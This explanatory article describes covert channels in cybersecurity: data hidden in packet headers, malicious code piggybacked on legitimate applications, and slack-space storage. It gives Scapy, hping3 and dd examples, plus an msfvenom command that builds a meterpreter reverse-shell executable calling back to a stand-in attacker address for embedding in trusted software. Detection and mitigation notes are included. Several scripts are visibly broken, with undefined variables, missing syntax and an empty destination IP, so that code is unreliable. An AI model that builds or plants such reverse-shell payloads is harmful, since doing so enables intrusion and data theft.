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Shadows and Signals: Unveiling the Hidden World of Covert Channels in Cybersecurity

One term that often pops up in the realm of digital sleuthing is “covert channels.” Imagine for a moment, two secret agents communicating in a room full of people, yet no one else is aware of their silent conversation. This is akin to what happens in the digital world with covert channels – secretive pathways that allow data to move stealthily across a computer system, undetected by those who might be monitoring for usual signs of data transfer.

Covert channels are akin to hidden passageways within a computer or network, not intended or recognized for communication by the system’s overseers. These channels take advantage of normal system functions in creative ways to sneak data from one place to another without raising alarms. For example, data might be cleverly embedded within the mundane headers of network packets, a practice akin to hiding a secret note in the margin of a public document. Or imagine a scenario where a spy hides their messages within the normal communications of a legitimate app, sending out secrets alongside everyday data.

Other times, covert channels can be more about timing than hiding data in plain sight. By altering the timing of certain actions or transmissions, secret messages can be encoded in what seems like normal system behavior. There are also more direct methods, like covert storage channels, where data is tucked away in the nooks and crannies of a computer’s memory or disk space, hidden from prying eyes.

Then there’s the art of data diddling – tweaking data ever so slightly to carry a hidden message or malicious code. And let’s not forget steganography, the age-old practice of hiding messages within images, audio files, or any other type of media, updated for the digital age.

While the term “covert channels” might conjure images of cyber villains and underhanded tactics, it’s worth noting that these secretive pathways aren’t solely the domain of wrongdoers. They can also be harnessed for good, offering a way to secure communications by encrypting them in such a way that they blend into the digital background noise.

On a more technical note, a covert channel is a type of communication method that allows for the transfer of data by exploiting resources that are commonly available on a computer system. Covert channels are types of communication that are invisible to the eyes of the system administrators or other authorized users. Covert channels are within a computer or network system but are not legitimate or sanctioned forms of communication. They may be used to transfer data in a clandestine fashion.

Examples of covert channels include:
    • Embedding data in the headers of packets – The covert data is embedded in the headers of normal packets and sent over a protocol related to the normal activities of the computer system in question.
    • Data piggybacked on applications – Malicious applications are piggybacked with legitimate applications used on the computer system, sending confidential data.
    • Time-based channel – The timing of certain actions or transmissions is used to encode data.
    • Covert storage channel – Data is stored within a computer system on disk or in memory and is hidden from the system’s administrators.
    • Data diddling – This involves manipulating data to contain malicious code or messages.
    • Steganography – This is a process of hiding messages within other types of media such as images and audio files.

Covert channels are commonly used for malicious purposes, such as the transmission of sensitive data or the execution of malicious code on a computer system. They can also be used for legitimate purposes, however, such as creating an encrypted communication channel.

Let’s talk a little more about how this is done with a few of the methods…

Embedding data in the headers of packets

Embedding data in the headers of network packets represents a sophisticated method for establishing covert channels in a networked environment. This technique leverages the unused or reserved bits in protocol headers, such as TCP, IP, or even DNS, to discreetly transmit data. These channels can be incredibly stealthy, making them challenging to detect without deep packet inspection or anomaly detection systems in place. Here’s a detailed look into how it’s accomplished and the tools that can facilitate such actions.

Technical Overview

Protocol headers are structured with predefined fields, some of which are often unused or set aside for future use (reserved bits). By embedding information within these fields, it’s possible to bypass standard monitoring tools that typically inspect packet payloads rather than header values.

IP Header Manipulation

An IP header, for instance, has several fields where data could be covertly inserted, such as the Identification field, Flags, Fragment Offset, or even the TOS (Type of Service) fields.

Example using Scapy in Python:

from scapy.all import *
# Define the destination IP address and the port number
dest_ip = ""
dest_port = 80
# Craft the packet with covert data in the IP Identification field
packet = IP(dst=dest_ip, id 1337)/TCP(dport=dest_port)/"Covert message here"
# Send the packet

In this example, 1337 is the covert data embedded in the id field of the IP header. The packet is then sent to the destination IP and port specified. This is a simplistic representation, and in practice, the covert data would likely be more subtly encoded.

TCP Header Manipulation

Similarly, the TCP header has fields like the Sequence Number or Acknowledgment Number that can be exploited to carry hidden information.

Example using Hping3 (a command-line packet crafting tool):

hping3 -S -p 80 --tcp-timestamp -d 120 -E file_with_covert_data.txt -c 1

This command sends a SYN packet to on port 80, embedding the content of file_with_covert_data.txt within the packet. The -d 120 specifies the size of the packet, and -c 1 indicates that only one packet should be sent. Hping3 allows for the customization of various TCP/IP headers, making it suitable for covert channel exploitation.

Tools and Syntax for Covert Communication
    • Scapy: A powerful Python-based tool for packet crafting and manipulation.
      • The syntax for embedding data into an IP header has been illustrated above with Scapy.
    • Hping3: A command-line network tool that can send custom TCP/IP packets.
      • The example provided demonstrates embedding data into a packet using Hping3.
Detection and Mitigation

Detecting such covert channels involves analyzing packet headers for anomalies or inconsistencies with expected protocol behavior. Intrusion Detection Systems (IDS) and Deep Packet Inspection (DPI) tools can be configured to flag unusual patterns in these header fields.

Silent Infiltrators: Piggybacking Malicious Code on Legitimate Applications

The technique of piggybacking data on applications involves embedding malicious code within legitimate software applications. This method is a sophisticated way to establish a covert channel, allowing attackers to exfiltrate sensitive information from a compromised system discreetly. The malicious code is designed to execute its payload without disrupting the normal functionality of the host application, making detection by the user or antivirus software more challenging.

Technical Overview

Piggybacking often involves modifying an application’s binary or script files to include additional, unauthorized code. This code can perform a range of actions, from capturing keystrokes and collecting system information to exfiltrating data through network connections. The key to successful piggybacking is ensuring that the added malicious functionality remains undetected and does not impair the application’s intended operation.

Embedding Malicious Code
    • Binary Injection: Injecting code directly into the binary executable of an application. This requires understanding the application’s binary structure and finding suitable injection points that don’t disrupt its operation.
    • Script Modification: Altering script files or embedding scripts within applications that support scripting (e.g., office applications). This can be as simple as adding a macro to a Word document or modifying JavaScript within a web application.
Tools and Syntax
    • Metasploit: A framework that allows for the creation and execution of exploit code against a remote target machine. It includes tools for creating malicious payloads that can be embedded into applications.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > malicious.exe

This command generates an executable payload (malicious.exe) that, when executed, opens a reverse TCP connection to the attacker’s IP (attacker_ip) on port 4444. This payload can be embedded into a legitimate application.

    • Resource Hacker: A tool for viewing, modifying, adding, and deleting the embedded resources within executable files. It can be used to insert malicious payloads into legitimate applications without affecting their functionality.

Syntax: The usage of Resource Hacker is GUI-based, but it involves opening the legitimate application within the tool, adding or modifying resources (such as binary files, icons, or code snippets), and saving the modified application.

Detection and Mitigation

Detecting piggybacked applications typically involves analyzing changes to application binaries or scripts, monitoring for unusual application behaviors, and employing antivirus or endpoint detection and response (EDR) tools that can identify known malicious patterns.

Mitigation strategies include:
    • Application Whitelisting: Only allowing pre-approved applications to run on systems, which can prevent unauthorized modifications or unknown applications from executing.
    • Code Signing: Using digital signatures to verify the integrity and origin of applications. Modified applications will fail signature checks, alerting users or systems to the tampering.
    • Regular Auditing and Monitoring: Regularly auditing applications for unauthorized modifications and monitoring application behaviors for signs of malicious activity.

Piggybacking data on applications requires a nuanced approach, blending malicious intent with technical sophistication to evade detection. By embedding malicious code within trusted applications, attackers can create a covert channel for data exfiltration, making it imperative for cybersecurity defenses to employ multi-layered strategies to detect and mitigate such threats.

As a cyber investigator, understanding the ins and outs of covert channels is crucial. They represent both a challenge and an opportunity – a puzzle to solve in the quest to secure our digital environments, and a tool that, when used ethically, can protect sensitive information from those who shouldn’t see it. Whether for unraveling the schemes of cyber adversaries or safeguarding precious data, the study of covert channels is a fascinating and essential aspect of modern cybersecurity.

Hiding Data in Slack Space

To delve deeper into the concept of utilizing disk slack space for covert storage, let’s explore not only how to embed data within this unused space but also how one can retrieve it later. Disk slack space, as previously mentioned, is the residual space in a disk’s cluster that remains after a file’s content doesn’t fill the allocated cluster(s). This underutilized space presents an opportunity for hiding data relatively undetected.

Detailed Writing to Slack Space

When using dd in Linux to write data to slack space, precision is key. The example provided demonstrates embedding a “hidden message” at the end of an existing file without altering its visible content. This method leverages the stat command to determine the file size, which indirectly helps locate the start of the slack space. The dd command then appends data directly into this slack space.

then either warns the user if the hidden message is too large or proceeds to embed the message into the slack space of the file.

#!/bin/bash # Define the file and hidden message
hidden_message="your hidden message here"
mount_point="/mount/point" # Change this to your actual mount point

# Determine the cluster size in bytes
cluster_size=$(stat -f --format="%S" "$mount_point")

# Determine the actual file size in bytes and calculate available slack
file_size=$(stat --format="%s" "$file")
occupation_of_last_cluster=$(($file_size % $cluster_size))
available_slack_space=$(($cluster_size - $occupation_of_last_cluster))

# Define the hidden message size

# Check if the hidden message fits within the available slack space
if [ $hidden_message_size -gt $available_slack_space ]; then
echo "Warning: The hidden message exceeds the available slack space."

# Embed the hidden message into the slack space
echo -n "$hidden_message" | dd of="$file" bs=1 seek=$file_size conv=notrunc echo "Message embedded successfully."
Retrieving Data from Slack Space

Retrieving data from Slack space involves knowing the exact location and size of the hidden data. This can be complex, as slack space does not have a standard indexing system or table that points to the hidden data’s location. Here’s a conceptual method to retrieve the hidden data, assuming the size of the hidden message and its offset are known:

# Define variables for the offset and size of the hidden data

# Use 'dd' to extract the hidden data
dd if="$file" bs=1 skip="$hidden_data_offset" count="$hidden_data_size" 2>/dev/null

In this command, skip is used to bypass the original content of the file and position the reading process at the beginning of the hidden data. count specifies the amount of data to read, which should match the size of the hidden message.

Tools and Considerations for Slack Space Operations
    • Automation Scripts: Custom scripts can automate the process of embedding and extracting data from Slack space. These scripts could calculate the size of the file’s content, determine the appropriate offsets, and perform the data embedding or extraction automatically.

    • Security and Privacy: Manipulating slack space for storing data covertly raises significant security and privacy concerns. It’s crucial to understand the legal and ethical implications of such actions. This technique should only be employed within the bounds of the law and for legitimate purposes, such as research or authorized security testing.

Understanding and manipulating slack space for data storage requires a thorough grasp of file system structures and the underlying physical storage mechanisms. While the Linux dd command offers a straightforward means to write to and read from specific disk offsets, effectively leveraging slack space for covert storage also demands meticulous planning and operational security to ensure the data remains concealed and retrievable only by the intended parties.